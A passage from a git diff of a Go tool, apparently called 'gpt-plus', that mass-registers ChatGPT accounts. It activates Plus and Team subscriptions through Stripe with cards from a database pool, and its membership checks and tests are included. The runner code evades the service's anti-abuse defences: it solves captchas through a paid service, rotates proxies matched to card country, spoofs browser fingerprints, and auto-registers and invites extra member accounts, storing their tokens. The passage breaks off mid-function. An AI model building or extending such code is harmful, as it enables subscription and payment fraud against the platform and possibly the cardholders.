logger.Default.LogMode(logger.Silent), + }) + if err != nil { + t.Fatalf("open db: %v", err) + } + d.AutoMigrate(&db.SystemConfig{}, &db.EmailRecord{}, &db.Task{}, &db.TaskLog{}, + &db.CardCode{}, &db.Card{}, &db.Account{}) + db.DB = d + return d +} + +func TestTaskManagerInit(t *testing.T) { + d := setupTaskTestDB(t) + + // Create a "leftover" running task + d.Create(&db.Task{ID: "left-1", Type: "plus", Status: StatusRunning, TotalCount: 10}) + d.Create(&db.Task{ID: "left-2", Type: "team", Status: StatusStopping, TotalCount: 5}) + + tm := NewTaskManager(d) + tm.Init() + + var t1, t2 db.Task + d.First(&t1, "id = ?", "left-1") + d.First(&t2, "id = ?", "left-2") + + if t1.Status != StatusInterrupted { + t.Fatalf("left-1 status = %q, want interrupted", t1.Status) + } + if t2.Status != StatusInterrupted { + t.Fatalf("left-2 status = %q, want interrupted", t2.Status) + } + if t1.StoppedAt == nil { + t.Fatal("left-1 stopped_at should be set") + } +} + +func TestTaskManagerStartNonexistent(t *testing.T) { + d := setupTaskTestDB(t) + tm := NewTaskManager(d) + + err := tm.Start("nonexistent-id") + if err == nil { + t.Fatal("expected error for nonexistent task") + } +} + +func TestTaskManagerStartWrongStatus(t *testing.T) { + d := setupTaskTestDB(t) + d.Create(&db.Task{ID: "completed-1", Type: "plus", Status: StatusCompleted, TotalCount: 10}) + + tm := NewTaskManager(d) + err := tm.Start("completed-1") + if err == nil { + t.Fatal("expected error for completed task") + } +} + +func TestTaskManagerStopNoRunning(t *testing.T) { + d := setupTaskTestDB(t) + tm := NewTaskManager(d) + + err := tm.Stop("any-id") + if err == nil { + t.Fatal("expected error when no task running") + } +} + +func TestTaskManagerForceStopNoRunning(t *testing.T) { + d := setupTaskTestDB(t) + tm := NewTaskManager(d) + + err := tm.ForceStop("any-id") + if err == nil { + t.Fatal("expected error when no task running") + } +} + +func TestTaskManagerIsRunning(t *testing.T) { + d := setupTaskTestDB(t) + tm := NewTaskManager(d) + + if tm.IsRunning() { + t.Fatal("should not be running initially") + } +} + +func TestTaskManagerStopWrongID(t *testing.T) { + d := setupTaskTestDB(t) + tm := NewTaskManager(d) + + // Simulate a running task by setting current directly + tm.current = &TaskRunner{taskID: "real-id"} + tm.current.running.Store(true) + + err := tm.Stop("wrong-id") + if err == nil { + t.Fatal("expected error for wrong task ID") + } +} + +func TestTaskManagerInitDoesNotAffectPending(t *testing.T) { + d := setupTaskTestDB(t) + d.Create(&db.Task{ID: "pending-1", Type: "plus", Status: StatusPending, TotalCount: 5}) + + tm := NewTaskManager(d) + tm.Init() + + var task db.Task + d.First(&task, "id = ?", "pending-1") + if task.Status != StatusPending { + t.Fatalf("pending task should stay pending, got %q", task.Status) + } +} + +func TestTaskManagerInitDoesNotAffectCompleted(t *testing.T) { + d := setupTaskTestDB(t) + stopped := time.Now() + d.Create(&db.Task{ID: "done-1", Type: "plus", Status: StatusCompleted, TotalCount: 10, StoppedAt: &stopped}) + + tm := NewTaskManager(d) + tm.Init() + + var task db.Task + d.First(&task, "id = ?", "done-1") + if task.Status != StatusCompleted { + t.Fatalf("completed task should stay completed, got %q", task.Status) + } +} diff --git a/internal/task/membership.go b/internal/task/membership.go new file mode 100644 index 0000000..3b924b3 --- /dev/null +++ b/internal/task/membership.go @@ -0,0 +1,229 @@ +package task + +import ( + "context" + "fmt" + "time" + + "gpt-plus/pkg/auth" + "gpt-plus/pkg/chatgpt" +) + +const ( + finalMembershipPolls = 5 + finalMembershipPollDelay = 2 * time.Second +) + +type finalMembershipState struct { + Personal *chatgpt.AccountInfo + Workspace *chatgpt.AccountInfo +} + +func (s *finalMembershipState) plusActive() bool { + return plusMembershipActive(s.Personal) +} + +func (s *finalMembershipState) teamActive() bool { + return teamMembershipActive(s.Workspace) +} + +func (s *finalMembershipState) satisfied(taskType string) bool { + switch taskType { + case TaskTypePlus: + return s.plusActive() + case TaskTypeTeam: + return s.teamActive() + case TaskTypeBoth: + return s.plusActive() && s.teamActive() + default: + return false + } +} + +func (s *finalMembershipState) resultPlanForTask(taskType string) string { + if s != nil && s.satisfied(taskType) { + return taskType + } + return s.actualPlan() +} + +func (s *finalMembershipState) actualPlan() string { + switch { + case s == nil: + return "unknown" + case s.plusActive() && s.teamActive(): + return TaskTypeBoth + case s.teamActive(): + return "team" + case s.plusActive(): + return "plus" + case s.Personal != nil && s.Personal.PlanType != "": + return s.Personal.PlanType + case s.Workspace != nil && s.Workspace.PlanType != "": + return s.Workspace.PlanType + default: + return "unknown" + } +} + +func (s *finalMembershipState) describe() string { + return fmt.Sprintf("personal=%s workspace=%s", describeMembership(s.Personal), describeMembership(s.Workspace)) +} + +func plusMembershipActive(info *chatgpt.AccountInfo) bool { + return info != nil && + info.Structure == "personal" && + info.PlanType == "plus" && + info.HasActiveSubscription && + info.SubscriptionID != "" +} + +func teamMembershipActive(info *chatgpt.AccountInfo) bool { + return info != nil && + info.Structure == "workspace" && + info.PlanType == "team" +} + +func describeMembership(info *chatgpt.AccountInfo) string { + if info == nil { + return "none" + } + return fmt.Sprintf("%s/%s(active=%v sub=%t id=%s)", + info.Structure, info.PlanType, info.HasActiveSubscription, info.SubscriptionID != "", info.AccountID) +} + +func selectPersonalMembership(accounts []*chatgpt.AccountInfo) *chatgpt.AccountInfo { + for _, acct := range accounts { + if acct.Structure == "personal" { + return acct + } + } + return nil +} + +func selectWorkspaceMembership(accounts []*chatgpt.AccountInfo, preferredID string) *chatgpt.AccountInfo { + if preferredID != "" { + for _, acct := range accounts { + if acct.Structure == "workspace" && acct.AccountID == preferredID { + return acct + } + } + } + for _, acct := range accounts { + if acct.Structure == "workspace" && acct.PlanType == "team" { + return acct + } + } + for _, acct := range accounts { + if acct.Structure == "workspace" { + return acct + } + } + return nil +} + +func (r *TaskRunner) verifyTaskMembership( + ctx context.Context, + taskType string, + session *chatgpt.Session, + teamAccountID string, + statusFn chatgpt.StatusFunc, +) (*finalMembershipState, error) { + var lastState *finalMembershipState + var lastErr error + + for attempt := 1; attempt <= finalMembershipPolls; attempt++ { + if err := refreshVerificationTokens(ctx, session); err != nil && statusFn != nil { + statusFn(" -> Final token refresh %d/%d failed: %v", attempt, finalMembershipPolls, err) + } + + accounts, err := chatgpt.CheckAccountFull(session.Client, session.AccessToken, session.DeviceID) + if err != nil { + lastErr = fmt.Errorf("accounts/check failed: %w", err) + } else { + lastState = &finalMembershipState{ + Personal: selectPersonalMembership(accounts), + Workspace: selectWorkspaceMembership(accounts, teamAccountID), + } + } + + if (taskType == TaskTypeTeam || taskType == TaskTypeBoth) && + (lastState == nil || !lastState.teamActive()) && + teamAccountID != "" { + workspaceToken, wsErr := chatgpt.GetWorkspaceAccessToken(session.Client, teamAccountID) + if wsErr == nil { + if wsAccounts, wsCheckErr := chatgpt.CheckAccountFull(session.Client, workspaceToken, session.DeviceID); wsCheckErr == nil { + if lastState == nil { + lastState = &finalMembershipState{} + } + lastState.Workspace = selectWorkspaceMembership(wsAccounts, teamAccountID) + } else if lastErr == nil { + lastErr = fmt.Errorf("workspace accounts/check failed: %w", wsCheckErr) + } + } else if lastErr == nil { + lastErr = fmt.Errorf("workspace token refresh failed: %w", wsErr) + } + } + + if lastState != nil && statusFn != nil { + statusFn(" -> Final membership %d/%d: %s", attempt, finalMembershipPolls, lastState.describe()) + } + if lastState != nil && lastState.satisfied(taskType) { + return lastState, nil + } + if lastState != nil { + lastErr = fmt.Errorf("membership mismatch for %s: %s", taskType, lastState.describe()) + } + + if attempt < finalMembershipPolls { + if err := sleepWithContext(ctx, finalMembershipPollDelay); err != nil { + return lastState, err + } + } + } + + if lastState != nil { + return lastState, fmt.Errorf("final membership mismatch for %s: %s", taskType, lastState.describe()) + } + if lastErr != nil { + return nil, fmt.Errorf("final membership check failed for %s: %w", taskType, lastErr) + } + return nil, fmt.Errorf("final membership check failed for %s", taskType) +} + +func refreshVerificationTokens(ctx context.Context, session *chatgpt.Session) error { + if err := session.RefreshSession(); err == nil { + return nil + } else { + tokens, tokenErr := auth.ObtainCodexTokens(ctx, session.Client, session.DeviceID, "") + if tokenErr != nil { + return fmt.Errorf("session refresh failed: %v; codex refresh failed: %w", err, tokenErr) + } + if tokens.AccessToken == "" { + return fmt.Errorf("codex refresh returned empty access token") + } + session.AccessToken = tokens.AccessToken + if tokens.RefreshToken != "" { + session.RefreshToken = tokens.RefreshToken + } + if tokens.IDToken != "" { + session.IDToken = tokens.IDToken + } + if tokens.ChatGPTAccountID != "" { + session.AccountID = tokens.ChatGPTAccountID + } + return nil + } +} + +func sleepWithContext(ctx context.Context, delay time.Duration) error { + timer := time.NewTimer(delay) + defer timer.Stop() + + select { + case <-ctx.Done(): + return ctx.Err() + case <-timer.C: + return nil + } +} diff --git a/internal/task/membership_test.go b/internal/task/membership_test.go new file mode 100644 index 0000000..f01a799 --- /dev/null +++ b/internal/task/membership_test.go @@ -0,0 +1,125 @@ +package task + +import ( + "testing" + + "gpt-plus/internal/db" + "gpt-plus/pkg/chatgpt" +) + +func TestFinalMembershipStateSatisfiedByTaskType(t *testing.T) { + state := &finalMembershipState{ + Personal: &chatgpt.AccountInfo{ + AccountID: "personal-1", + Structure: "personal", + PlanType: "plus", + HasActiveSubscription: true, + SubscriptionID: "sub_123", + }, + Workspace: &chatgpt.AccountInfo{ + AccountID: "workspace-1", + Structure: "workspace", + PlanType: "team", + }, + } + + if !state.satisfied(TaskTypePlus) { + t.Fatal("expected plus task to be satisfied") + } + if !state.satisfied(TaskTypeTeam) { + t.Fatal("expected team task to be satisfied") + } + if !state.satisfied(TaskTypeBoth) { + t.Fatal("expected both task to be satisfied") + } + + if got := state.resultPlanForTask(TaskTypePlus); got != TaskTypePlus { + t.Fatalf("plus resultPlanForTask = %q, want %q", got, TaskTypePlus) + } + if got := state.resultPlanForTask(TaskTypeTeam); got != TaskTypeTeam { + t.Fatalf("team resultPlanForTask = %q, want %q", got, TaskTypeTeam) + } + if got := state.resultPlanForTask(TaskTypeBoth); got != TaskTypeBoth { + t.Fatalf("both resultPlanForTask = %q, want %q", got, TaskTypeBoth) + } +} + +func TestFinalMembershipStateFallbackToActualPlan(t *testing.T) { + state := &finalMembershipState{ + Personal: &chatgpt.AccountInfo{ + AccountID: "personal-1", + Structure: "personal", + PlanType: "free", + }, + } + + if state.satisfied(TaskTypePlus) { + t.Fatal("free personal account should not satisfy plus task") + } + if got := state.resultPlanForTask(TaskTypePlus); got != "free" { + t.Fatalf("resultPlanForTask = %q, want free", got) + } +} + +func TestAccountStatusForResult(t *testing.T) { + cases := []struct { + name string + result *chatgpt.AccountResult + want string + }{ + {name: "nil", result: nil, want: "active"}, + {name: "free", result: &chatgpt.AccountResult{PlanType: "free"}, want: "free"}, + {name: "plus", result: &chatgpt.AccountResult{PlanType: "plus"}, want: "plus"}, + {name: "team", result: &chatgpt.AccountResult{PlanType: "team"}, want: "team"}, + {name: "unknown", result: &chatgpt.AccountResult{PlanType: "mystery"}, want: "active"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if got := accountStatusForResult(tc.result); got != tc.want { + t.Fatalf("accountStatusForResult() = %q, want %q", got, tc.want) + } + }) + } +} + +func TestSaveAccountToDBUsesRealMembershipStatus(t *testing.T) { + d := setupTaskTestDB(t) + runner := &TaskRunner{taskID: "task-1", gormDB: d} + + runner.saveAccountToDB(&chatgpt.AccountResult{ + Email: "free@test.com", + Password: "pw", + PlanType: "free", + }, "plus", nil, "task-1") + + var acct db.Account + if err := d.First(&acct, "email = ?", "free@test.com").Error; err != nil { + t.Fatalf("load account: %v", err) + } + if acct.Plan != "plus" { + t.Fatalf("plan = %q, want plus", acct.Plan) + } + if acct.Status != "free" { + t.Fatalf("status = %q, want free", acct.Status) + } +} + +func TestLogResultStoresUsefulMessage(t *testing.T) { + d := setupTaskTestDB(t) + taskRow := &db.Task{ID: "task-2", Type: "plus", Status: StatusRunning, TotalCount: 1} + if err := d.Create(taskRow).Error; err != nil { + t.Fatalf("create task: %v", err) + } + + runner := &TaskRunner{taskID: "task-2", gormDB: d} + runner.logResult(taskRow, 1, "a@test.com", LogStatusFailed, "free", "final membership mismatch", 3) + + var logRow db.TaskLog + if err := d.First(&logRow, "task_id = ?", "task-2").Error; err != nil { + t.Fatalf("load task log: %v", err) + } + if logRow.Message != "final membership mismatch" { + t.Fatalf("message = %q, want final membership mismatch", logRow.Message) + } +} diff --git a/internal/task/runner.go b/internal/task/runner.go new file mode 100644 index 0000000..f589967 --- /dev/null +++ b/internal/task/runner.go @@ -0,0 +1,793 @@ +package task + +import ( + "context" + "crypto/rand" + "errors" + "fmt" + "log" + "math/big" + "net/http" + "strings" + "sync/atomic" + "time" + + "gpt-plus/config" + "gpt-plus/internal/db" + "gpt-plus/pkg/auth" + "gpt-plus/pkg/captcha" + "gpt-plus/pkg/chatgpt" + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/provider/card" + "gpt-plus/pkg/provider/email" + "gpt-plus/pkg/proxy" + "gpt-plus/pkg/storage" + "gpt-plus/pkg/stripe" + + "gorm.io/gorm" +) + +type TaskRunner struct { + taskID string + gormDB *gorm.DB + ctx context.Context + cancel context.CancelFunc + stopping atomic.Bool + running atomic.Bool +} + +func NewTaskRunner(taskID string, d *gorm.DB) (*TaskRunner, error) { + ctx, cancel := context.WithCancel(context.Background()) + return &TaskRunner{ + taskID: taskID, + gormDB: d, + ctx: ctx, + cancel: cancel, + }, nil +} + +func (r *TaskRunner) IsRunning() bool { + return r.running.Load() +} + +func (r *TaskRunner) GracefulStop() { + r.stopping.Store(true) + r.gormDB.Model(&db.Task{}).Where("id = ?", r.taskID).Update("status", StatusStopping) + log.Printf("[task-runner] %s: graceful stop requested", r.taskID) +} + +func (r *TaskRunner) ForceStop() { + r.stopping.Store(true) + r.cancel() + log.Printf("[task-runner] %s: force stop (context cancelled)", r.taskID) +} + +func (r *TaskRunner) Run() { + r.running.Store(true) + defer r.running.Store(false) + + var t db.Task + if err := r.gormDB.First(&t, "id = ?", r.taskID).Error; err != nil { + log.Printf("[task-runner] %s: load task failed: %v", r.taskID, err) + return + } + + // Load config from DB + cfg, err := config.LoadFromDB(r.gormDB) + if err != nil { + log.Printf("[task-runner] %s: load config failed: %v", r.taskID, err) + r.failTask(&t, "配置加载失败: "+err.Error()) + return + } + + // Override task-specific settings based on task type + switch t.Type { + case TaskTypePlus: + cfg.Team.Enabled = false + case TaskTypeTeam: + cfg.Team.Enabled = true + case TaskTypeBoth: + cfg.Team.Enabled = true + } + + // Mark task as running + now := time.Now() + t.Status = StatusRunning + t.StartedAt = &now + r.gormDB.Save(&t) + + // Wire locale + if cfg.Account.Locale != "" { + lang := cfg.Account.Locale + acceptLang := lang + ",en;q=0.9" + if lang == "en-US" { + acceptLang = "en-US,en;q=0.9" + } + auth.SetLocale(lang, acceptLang) + chatgpt.SetDefaultLanguage(lang) + } + + // Initialize components + proxyHasSession := strings.Contains(cfg.Proxy.URL, "{SESSION}") + b2proxyEnabled := cfg.Proxy.B2Proxy.Enabled + var cardCountry string + if b2proxyEnabled { + cardCountry = cfg.Card.ExpectedCountry() + } + + var client *httpclient.Client + if !b2proxyEnabled && !proxyHasSession { + client, err = httpclient.NewClient(cfg.Proxy.URL) + if err != nil { + r.failTask(&t, "创建 HTTP 客户端失败: "+err.Error()) + return + } + } + + // Email provider + emailProv := email.NewMailGateway( + cfg.Email.MailGateway.BaseURL, + cfg.Email.MailGateway.APIKey, + cfg.Email.MailGateway.Provider, + ) + + // Card provider — always use DB mode + cardProv := card.NewDBCardProvider(card.DBCardProviderConfig{ + DB: r.gormDB, + DefaultName: cfg.Card.API.DefaultName, + DefaultCountry: cfg.Card.API.DefaultCountry, + DefaultCurrency: cfg.Card.API.DefaultCurrency, + DefaultAddress: cfg.Card.API.DefaultAddress, + DefaultCity: cfg.Card.API.DefaultCity, + DefaultState: cfg.Card.API.DefaultState, + DefaultPostalCode: cfg.Card.API.DefaultPostalCode, + APIBaseURL: cfg.Card.API.BaseURL, + }) + + // Captcha solver + var solver *captcha.Solver + if cfg.Captcha.APIKey != "" { + captchaProxy := cfg.Captcha.Proxy + if captchaProxy == "" { + captchaProxy = cfg.Proxy.URL + } + solver = captcha.NewSolver(cfg.Captcha.APIKey, captchaProxy) + } + + // Browser fingerprint pool + var fpPool *stripe.BrowserFingerprintPool + if cfg.Stripe.FingerprintDir != "" { + fpPool, _ = stripe.NewBrowserFingerprintPool(cfg.Stripe.FingerprintDir, "en") + } + + // Stripe constants + stripe.SetFallbackConstants(cfg.Stripe.BuildHash, cfg.Stripe.TagVersion) + stripe.FetchStripeConstants() + + log.Printf("[task-runner] %s: starting batch of %d", r.taskID, t.TotalCount) + + // Main loop + for i := 1; i <= t.TotalCount; i++ { + if r.stopping.Load() { + break + } + if r.ctx.Err() != nil { + break + } + + log.Printf("[task-runner] %s: iteration %d/%d", r.taskID, i, t.TotalCount) + + // Per-iteration client (B2Proxy / session template) + iterClient := client + if b2proxyEnabled { + r.logStep(i, "", "正在连接 B2Proxy...") + iterClient = r.getB2ProxyClient(cfg, cardCountry, i, solver) + if iterClient == nil { + r.logResult(&t, i, "", LogStatusFailed, "", "B2Proxy 连接失败", 0) + continue + } + r.logStep(i, "", "B2Proxy 连接成功") + } else if proxyHasSession { + r.logStep(i, "", "正在连接代理...") + iterClient = r.getSessionClient(cfg, i, solver) + if iterClient == nil { + r.logResult(&t, i, "", LogStatusFailed, "", "代理连接失败", 0) + continue + } + r.logStep(i, "", "代理连接成功") + } + + start := time.Now() + result := r.runOnce(r.ctx, i, t.Type, iterClient, emailProv, cardProv, solver, cfg, fpPool) + dur := int(time.Since(start).Seconds()) + + status := LogStatusSuccess + errMsg := "" + if result.Error != nil { + status = LogStatusFailed + errMsg = result.Error.Error() + } + + r.logResult(&t, i, result.Email, status, result.Plan, errMsg, dur) + + if i < t.TotalCount { + time.Sleep(3 * time.Second) + } + } + + // Finalize task status + stopped := time.Now() + t.StoppedAt = &stopped + if r.stopping.Load() || r.ctx.Err() != nil { + t.Status = StatusStopped + } else { + t.Status = StatusCompleted + } + r.gormDB.Save(&t) + log.Printf("[task-runner] %s: finished (status=%s, success=%d, fail=%d)", r.taskID, t.Status, t.SuccessCount, t.FailCount) +} + +type iterResult struct { + Email string + Plan string + Error error +} + +func (r *TaskRunner) runOnce(ctx context.Context, index int, taskType string, client *httpclient.Client, + emailProv email.EmailProvider, cardProv card.CardProvider, solver *captcha.Solver, + cfg *config.Config, fpPool *stripe.BrowserFingerprintPool) iterResult { + + result := iterResult{Plan: "failed"} + + password := generatePassword(cfg.Account.PasswordLength) + + // Step: Register + r.logStep(index, "", "正在注册账号...") + regResult, err := auth.Register(ctx, client, emailProv, password) + if err != nil { + result.Error = fmt.Errorf("注册失败: %w", err) + return result + } + result.Email = regResult.Email + r.logStep(index, regResult.Email, "注册成功: "+regResult.Email) + + r.saveEmailRecord(regResult.Email, "in_use", "owner") + + // Step: Login + sentinel := auth.NewSentinelGeneratorWithDeviceID(client, regResult.DeviceID) + var loginResult *auth.LoginResult + + if regResult.Tokens != nil { + loginResult = regResult.Tokens + r.logStep(index, regResult.Email, "登录成功 (注册时已获取令牌)") + } else { + r.logStep(index, regResult.Email, "正在登录...") + loginResult, err = auth.Login(ctx, client, regResult.Email, password, + regResult.DeviceID, sentinel, regResult.MailboxID, emailProv) + if err != nil { + result.Error = fmt.Errorf("登录失败: %w", err) + r.updateEmailRecord(regResult.Email, "used_failed") + return result + } + r.logStep(index, regResult.Email, "登录成功") + } + + session := chatgpt.NewSession(client, loginResult.AccessToken, loginResult.RefreshToken, + loginResult.IDToken, regResult.DeviceID, loginResult.ChatGPTAccountID, loginResult.ChatGPTUserID) + + // Step: Activate Plus + r.logStep(index, regResult.Email, "正在开通 Plus...") + var browserFP *stripe.BrowserFingerprint + if fpPool != nil { + browserFP = fpPool.Get() + } + statusFn := func(f string, a ...interface{}) { + msg := fmt.Sprintf(f, a...) + log.Printf("[task-runner] %s #%d: %s", r.taskID, index, msg) + r.logStep(index, regResult.Email, msg) + } + plusResult, plusErr := chatgpt.ActivatePlus(ctx, session, sentinel, cardProv, cfg.Stripe, regResult.Email, solver, statusFn, browserFP) + + plusSkipped := false + if plusErr != nil { + plusSkipped = true + if errors.Is(plusErr, chatgpt.ErrPlusNotEligible) || errors.Is(plusErr, chatgpt.ErrCaptchaRequired) || + errors.Is(plusErr, stripe.ErrCardDeclined) || strings.Contains(plusErr.Error(), "challenge") { + r.logStep(index, regResult.Email, "Plus 跳过: "+plusErr.Error()) + log.Printf("[task-runner] %s #%d: Plus skipped: %v", r.taskID, index, plusErr) + } else { + r.logStep(index, regResult.Email, "Plus 失败: "+plusErr.Error()) + log.Printf("[task-runner] %s #%d: Plus failed: %v", r.taskID, index, plusErr) + } + } + + buildAccountResult := func(fp *stripe.Fingerprint) *chatgpt.AccountResult { + return &chatgpt.AccountResult{ + Email: regResult.Email, Password: password, + AccessToken: session.AccessToken, RefreshToken: session.RefreshToken, + IDToken: session.IDToken, ChatGPTAccountID: session.AccountID, + ChatGPTUserID: session.UserID, GUID: fp.GUID, MUID: fp.MUID, SID: fp.SID, + Proxy: cfg.Proxy.URL, CreatedAt: time.Now().UTC().Format(time.RFC3339), + } + } + + var fingerprint *stripe.Fingerprint + if !plusSkipped { + r.logStep(index, regResult.Email, "Plus 开通成功: "+plusResult.PlanType) + result.Plan = plusResult.PlanType + fingerprint = &stripe.Fingerprint{GUID: plusResult.GUID, MUID: plusResult.MUID, SID: plusResult.SID} + + session.RefreshSession() + if session.AccountID == "" { + if acctInfo, acctErr := chatgpt.CheckAccount(session.Client, session.AccessToken, session.DeviceID); acctErr == nil { + session.AccountID = acctInfo.AccountID + } + } + + r.logStep(index, regResult.Email, "正在获取 Plus OAuth 授权...") + plusCodexTokens, plusCodexErr := auth.ObtainCodexTokens(ctx, client, regResult.DeviceID, "") + if plusCodexErr == nil { + session.AccessToken = plusCodexTokens.AccessToken + session.RefreshToken = plusCodexTokens.RefreshToken + if plusCodexTokens.IDToken != "" { + session.IDToken = plusCodexTokens.IDToken + } + if plusCodexTokens.ChatGPTAccountID != "" { + session.AccountID = plusCodexTokens.ChatGPTAccountID + } + r.logStep(index, regResult.Email, "Plus OAuth 授权成功") + } else { + r.logStep(index, regResult.Email, "Plus OAuth 授权失败 (非致命)") + } + + plusAccount := buildAccountResult(fingerprint) + plusAccount.PlanType = plusResult.PlanType + plusAccount.StripeSessionID = plusResult.StripeSessionID + storage.SavePlusAuthFile(cfg.Output.Dir, plusAccount) + + r.saveAccountToDB(plusAccount, "plus", nil, r.taskID) + r.updateEmailRecord(regResult.Email, "used") + r.logStep(index, regResult.Email, "Plus 账号已保存") + } else { + sc := stripe.FetchStripeConstants() + if browserFP != nil { + fingerprint, _ = stripe.GetFingerprint(session.Client, chatgpt.GetDefaultUA(), "chatgpt.com", sc.TagVersion, browserFP) + } else { + fingerprint, _ = stripe.GetFingerprintAuto(ctx, session.Client, chatgpt.GetDefaultUA(), "chatgpt.com", sc.TagVersion) + } + if fingerprint == nil { + fingerprint = &stripe.Fingerprint{} + } + } + + // Team activation + var teamResult *chatgpt.TeamResult + var teamErr error + if cfg.Team.Enabled { + r.logStep(index, regResult.Email, "正在开通 Team...") + teamStatusFn := func(f string, a ...interface{}) { + msg := fmt.Sprintf(f, a...) + log.Printf("[task-runner] %s #%d: %s", r.taskID, index, msg) + r.logStep(index, regResult.Email, msg) + } + teamResult, teamErr = chatgpt.ActivateTeam(ctx, session, sentinel, cardProv, + cfg.Stripe, cfg.Team, fingerprint, regResult.Email, solver, + emailProv, regResult.MailboxID, teamStatusFn) + if teamErr != nil { + r.logStep(index, regResult.Email, "Team 失败: "+teamErr.Error()) + log.Printf("[task-runner] %s #%d: Team failed: %v", r.taskID, index, teamErr) + } + if teamResult != nil { + r.logStep(index, regResult.Email, "Team 开通成功: "+teamResult.TeamAccountID) + if result.Plan == "failed" { + result.Plan = "team" + } + savedAccessToken := session.AccessToken + r.logStep(index, regResult.Email, "正在获取 Team OAuth 授权...") + codexTokens, codexErr := auth.ObtainCodexTokens(ctx, client, regResult.DeviceID, teamResult.TeamAccountID) + + var wsAccessToken string + if codexErr != nil { + wsAccessToken, _ = chatgpt.GetWorkspaceAccessToken(client, teamResult.TeamAccountID) + if wsAccessToken == "" { + wsAccessToken = savedAccessToken + } + } else { + wsAccessToken = codexTokens.AccessToken + } + + teamAccount := buildAccountResult(fingerprint) + teamAccount.AccessToken = wsAccessToken + teamAccount.ChatGPTAccountID = teamResult.TeamAccountID + teamAccount.TeamAccountID = teamResult.TeamAccountID + teamAccount.WorkspaceToken = wsAccessToken + if codexTokens != nil { + teamAccount.RefreshToken = codexTokens.RefreshToken + if codexTokens.IDToken != "" { + teamAccount.IDToken = codexTokens.IDToken + } + } + teamAccount.PlanType = "team" + storage.SaveTeamAuthFile(cfg.Output.Dir, teamAccount) + + parentID := r.saveAccountToDB(teamAccount, "team_owner", nil, r.taskID) + r.updateEmailRecord(regResult.Email, "used") + r.logStep(index, regResult.Email, "Team 账号已保存") + + if cfg.Team.InviteCount > 0 && teamResult.TeamAccountID != "" { + r.logStep(index, regResult.Email, fmt.Sprintf("正在邀请 %d 个成员...", cfg.Team.InviteCount)) + r.inviteMembers(ctx, cfg, client, emailProv, session, regResult, teamResult, fingerprint, parentID) + r.logStep(index, regResult.Email, "成员邀请完成") + } + } + } + + if plusResult == nil && teamResult == nil && taskType == TaskTypePlus { + result.Plan = "free" + freeAccount := buildAccountResult(fingerprint) + freeAccount.PlanType = "free" + storage.SaveFreeAuthFile(cfg.Output.Dir, freeAccount) + r.saveAccountToDB(freeAccount, "plus", nil, r.taskID) + } + + membershipState, verifyErr := r.verifyTaskMembership(ctx, taskType, session, teamAccountIDFromResult(teamResult), statusFn) + if membershipState != nil { + result.Plan = membershipState.resultPlanForTask(taskType) + } + if verifyErr != nil { + reasons := []string{verifyErr.Error()} + if plusErr != nil { + reasons = append(reasons, "plus="+plusErr.Error()) + } + if teamErr != nil { + reasons = append(reasons, "team="+teamErr.Error()) + } + result.Error = fmt.Errorf("最终会员校验失败: %s", strings.Join(reasons, "; ")) + r.updateEmailRecord(regResult.Email, "used_failed") + return result + } + + r.updateEmailRecord(regResult.Email, "used") + return result +} + +func (r *TaskRunner) inviteMembers(ctx context.Context, cfg *config.Config, + client *httpclient.Client, emailProv email.EmailProvider, + session *chatgpt.Session, regResult *auth.RegisterResult, + teamResult *chatgpt.TeamResult, fingerprint *stripe.Fingerprint, parentID *uint) { + + invWsToken, invWsErr := chatgpt.GetWorkspaceAccessToken(client, teamResult.TeamAccountID) + if invWsErr != nil { + invWsToken = session.AccessToken + } + if invWsToken == "" { + return + } + + for invIdx := 1; invIdx <= cfg.Team.InviteCount; invIdx++ { + if r.stopping.Load() || r.ctx.Err() != nil { + break + } + + r.logStep(0, regResult.Email, fmt.Sprintf("成员 %d/%d: 创建代理客户端...", invIdx, cfg.Team.InviteCount)) + + // Use B2Proxy for member too, not just cfg.Proxy.URL (which may be empty in B2Proxy mode) + var memberClient *httpclient.Client + var memberClientErr error + if cfg.Proxy.B2Proxy.Enabled { + cardCountry := cfg.Card.ExpectedCountry() + for try := 1; try <= 3; try++ { + proxyURL, fetchErr := proxy.FetchB2Proxy(cfg.Proxy.B2Proxy, cardCountry) + if fetchErr != nil { + continue + } + memberClient, memberClientErr = httpclient.NewClient(proxyURL) + if memberClientErr == nil { + break + } + } + } else if strings.Contains(cfg.Proxy.URL, "{SESSION}") { + memberProxyURL := strings.ReplaceAll(cfg.Proxy.URL, "{SESSION}", fmt.Sprintf("inv%s%d", randomSessionID(), invIdx)) + memberClient, memberClientErr = httpclient.NewClient(memberProxyURL) + } else { + memberClient, memberClientErr = httpclient.NewClient(cfg.Proxy.URL) + } + _ = memberClientErr + if memberClient == nil { + r.logStep(0, regResult.Email, fmt.Sprintf("成员 %d: 代理连接失败,跳过", invIdx)) + continue + } + + r.logStep(0, regResult.Email, fmt.Sprintf("成员 %d: 注册中...", invIdx)) + memberPassword := auth.GenerateRandomPassword(cfg.Account.PasswordLength) + memberReg, err := auth.Register(ctx, memberClient, emailProv, memberPassword) + if err != nil { + r.logStep(0, regResult.Email, fmt.Sprintf("成员 %d: 注册失败: %v", invIdx, err)) + continue + } + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 注册成功: %s", invIdx, memberReg.Email)) + + r.saveEmailRecord(memberReg.Email, "in_use", "member") + + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 发送邀请...", invIdx)) + if err := chatgpt.InviteToTeam(client, invWsToken, teamResult.TeamAccountID, session.DeviceID, memberReg.Email); err != nil { + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 邀请失败: %v", invIdx, err)) + r.updateEmailRecord(memberReg.Email, "used_failed") + continue + } + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 邀请成功,等待传播...", invIdx)) + + time.Sleep(3 * time.Second) + + var memberLoginResult *auth.LoginResult + if memberReg.Tokens != nil { + memberLoginResult = memberReg.Tokens + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 使用注册令牌", invIdx)) + } else { + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 登录中...", invIdx)) + memberSentinel := auth.NewSentinelGeneratorWithDeviceID(memberClient, memberReg.DeviceID) + memberLoginResult, err = auth.Login(ctx, memberClient, memberReg.Email, memberPassword, + memberReg.DeviceID, memberSentinel, memberReg.MailboxID, emailProv) + if err != nil { + r.logStep(0, memberReg.Email, fmt.Sprintf("成员 %d: 登录失败: %v", invIdx, err)) + r.updateEmailRecord(memberReg.Email, "used_failed") + continue + } + r.logStep(0, 